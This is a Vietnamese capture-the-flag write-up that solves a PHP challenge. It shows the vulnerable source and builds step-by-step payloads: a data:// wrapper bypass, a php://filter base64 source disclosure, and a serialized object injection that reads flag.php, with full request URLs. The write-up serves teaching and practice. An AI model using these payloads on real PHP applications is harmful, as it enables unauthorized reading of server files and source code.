Truy cập mục tiêu, hệ thống cung cấp đoạn mã nguồn sau:
<?php
$inputA = $_GET["a"];
$inputB = $_GET["b"];
$inputC = $_GET["c"];
if (isset($inputA) && file_get_contents($inputA) === "hello from zjctf") {
echo "<br><h1>" . file_get_contents($inputA) . "</h1><br>";
if (strpos($inputB, "flag") !== false) {
die("Access denied!");
} else {
include($inputB); // Gợi ý: try_me.php
$obj = unserialize($inputC);
echo $obj;
}
} else {
highlight_file(__FILE__);
}
?>
Phân tích mã nguồn
- Tham số a: Giá trị phải trỏ tới một nguồn có nội dung chính xác là
hello from zjctf. Vì hàmfile_get_contentschỉ đọc từ file hoặc luồng, không thể truyền trực tiếp chuỗi. - Tham số b: Không được chứa từ khóa
flag, nếu không sẽ dừng thực thi. Nếu hợp lệ, hệ thống sẽincludefile này — gợi ý tồn tại filetry_me.php. - Tham số c: Sẽ được反序列化 (
unserialize) và in ra — đây là điểm khai thác tiềm năng.
Bước 1: Vượt qua kiểm tra tham số a
Sử dụng giao thức data:// để giả lập nội dung file:
a=data://text/plain;base64,aGVsbG8gZnJvbSB6amN0Zg==
Chuỗi base64 aGVsbG8gZnJvbSB6amN0Zg== giải mã thành hello from zjctf.
Bước 2: Đọc nội dung file try_me.php
Vì không chứa từ "flag", ta dùng bộ lọc base64 để xem nội dung file:
b=php://filter/convert.base64-encode/resource=try_me.php
Gửi yêu cầu đầy đủ:
?a=data://text/plain;base64,aGVsbG8gZnJvbSB6amN0Zg==&b=php://filter/convert.base64-encode/resource=try_me.php&c=test
Giải mã base64 nhận được, ta thấy nội dung:
<?php
class SecretFlag {
public $targetFile;
public function __toString() {
if (isset($this->targetFile)) {
echo file_get_contents($this->targetFile);
echo "<br>";
return "Almost there... keep going!";
}
}
}
?>
Bước 3: Khai thác反序列化
Lớp SecretFlag có phương thức __toString() tự động kích hoạt khi đối tượng bị ép kiểu chuỗi — như khi dùng echo. Ta cần tạo payload反序列化 trỏ targetFile tới flag.php.
Tạo payload bằng đoạn mã sau:
<?php
class SecretFlag {
public $targetFile = "flag.php";
}
echo serialize(new SecretFlag());
?>
Kết quả:
O:10:"SecretFlag":1:{s:10:"targetFile";s:8:"flag.php";}
Bước 4: Gửi payload hoàn chỉnh
?a=data://text/plain;base64,aGVsbG8gZnJvbSB6amN0Zg==&b=try_me.php&c=O:10:"SecretFlag":1:{s:10:"targetFile";s:8:"flag.php";}
Khi thực thi, hệ thống反序列化 payload, gọi echo → kích hoạt __toString() → đọc nội dung flag.php.
Xem mã nguồn trang kết quả, cờ sẽ xuất hiện trong HTML.